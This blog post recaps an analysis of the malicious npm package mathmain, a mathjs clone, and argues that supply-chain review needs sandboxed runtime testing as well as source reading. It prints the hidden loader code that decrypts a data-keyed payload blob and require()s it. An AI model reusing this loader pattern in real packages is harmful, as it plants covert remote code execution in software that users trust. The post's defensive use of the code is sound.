SafeDep walked through a nasty one this week: an npm package mathmain@1.0.0 that copies the mathjs math library and hides a remote-access implant inside it. The details matter because they show exactly why reading code to review it stops working the moment the risk moves somewhere else.
Here's the shape of it. The solver lusolve() calculates its result, then passes the lower-triangular matrix data to a function called removeSolveValidation():
l && (q = removeSolveValidation(l._data));
return x;
That extra call isn't part of mathjs. It feeds the matrix data into isGraph(), which treats JSON.stringify(x) as a password:
const STAGE1_BLOB = 'IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==';
function isGraph(x) {
const name = validEvent(STAGE1_BLOB, JSON.stringify(x));
const target = path.join(__dirname, name);
const mod = require(event(target, JSON.stringify(x)));
return (x && mod.validGraph(JSON.stringify(x))) || false;
}
The decryption is scrypt + AES-GCM, with the salt, IV and auth tag stored as base64. On success it writes the decrypted file to disk and require()s it, running whatever was in the blob with Node's permissions. The trigger isn't an install hook. The package sits quiet until a caller passes the specific matrix data that produces the right key. Wrong password, the GCM auth check fails before anything gets written.
Three encrypted payload files ship in the package, the biggest (bignumber/type.js) just over a megabyte of ciphertext. The same loader showed up in mathsbase and math-universe, and the operator's command channel runs over a public chat service and a blockchain network.
Here's the part I keep coming back to, because it's the part that's actually about evaluation.
The GitHub source doesn't match what npm serves
The math-universe package links to a public GitHub repo, and the reviewed commit ends its solver cleanly:
if (q) {
x._data = csIpvec(q, x._data);
}
return x;
No removeSolveValidation() call anywhere. The loader is in the published npm build but not in the reviewed source. So you check the repo, you check the manifest, you look for install hooks, and the code reads fine, because the actual compromise lives in base64 blobs you can't statically interpret and a trigger you can't see without running it.
There's another layer on top that mostly gets missed. The registry state already moved: the npm record for mathmain now resolves to a 0.0.1-security holding package, the standard evacuation procedure after a takedown. That is good, and it also means a snapshot-based review done now will not see the bad 1.0.0 at all. If you evaluated this package a week ago, your evidence was the malicious artifact. If you write it up today, a lockfile-only observation shows nothing. Same package name, opposite verdicts, both defensible from a static read. That churn is precisely why reproducible, timestamped evaluation matters, and why a reviewer's claim of "clean" is meaningless without saying which artifact state and which date it reviewed.
The class of threat that source-reading cannot catch
This is not a case where a better prompt on the code-review model would have caught it. An LLM reading the source, a human reading the diff, static analysis on tokens, all of them see the same clean-looking surface. The threat lives in behavior that only appears at runtime, gated by a data-dependent key.
This is the settled explanation for why several cloud platforms and security teams run packages in a sandbox and drive their actual functions, rather than trusting a semantic review of the code. The only place where the encrypted stage decrypts and runs is real execution with the right inputs. A reviewer that never achieves that execution state is reading an advertisement for the package, not the package.
What that means for reviewing AI-generated code
Every time a coding agent pulls in a dependency or writes code that calls into one, you inherit whatever was shipped in the build, not whatever the pretty GitHub page claims. That gap between source and published artifact is exactly what a reviewer who only reads can't close. Once dependencies get generated and suggested by agents at scale, "review the code" is the wrong harness for the job.
The honest evaluation is behavioral and runtime: what does the package actually do when you import it and drive its functions, and does the wheelhouse boundary still hold? Verdicts about security and supply-chain risk come from observing behavior and the boundary, not from the model's (or the diff's) surface read. This is the same principle as my earlier post about why you shouldn't let a model judge its own AI code: the thing that produced the claim should not also grade whether the claim holds, and a source-level read is that same surface view coming back at you.
Verify at the boundary with deterministic checks on real execution. Drive the package, gate on behavior, and let a runtime signal sit above whatever the agent, the repo, or the diff says about itself. If all you have is a semantic reading of the source, you're measuring the advertisement, not the artifact.
What to actually do with a suspected cloud package
Have a fixed procedure so the evaluation is repeatable and not a once-off gut check:
-
Pin the artifact, not the name. Record the registry tarball hash and the exact version you evaluated.
mathmain@1.0.0andmathmain@0.0.1-securityare different artifacts with the same name, and a review must say which one it saw. - Read the build, not just the repo. A package that links to a public GitHub repo can still ship a build that diverges from it. Diff the lockfile contents against the advertised source whenever the plant risk outweighs the effort.
- Execute in a sandbox with no secrets. Keep the credential-routing surface out of the test environment entirely. A wrapper can contain a process and still hand the browser's connected-app sessions straight to the model, same as a Docker container containing a process is not a credential boundary.
- Drive the functions with real inputs. The trigger here was matrix data through the solver. A static import never reaches it. Tests that call the package's actual entry points are the only honest probe.
What you need to judge it cleanly
None of this needs a fancier code-review model. It needs the right artifact and the right probe. The SafeDep analysis is the primary source for the scrypt/AES-GCM decryption walkthrough, payload analysis, and indicators of compromise. The npm registry record shows the takedown state, with 1.0.0 published September 17, 2026 and replaced by the holding package, which is the timestamped evidence behind the "same name, different artifact" point. The math-universe repository is the advertised source whose reviewed commit ends the solver without the loader, which is the comparison that exposes the source-versus-build gap. Together they make the point: a reproducible, runtime evaluation is the only kind that survives an artifact that hides behind a data-dependent key.
Top comments (0)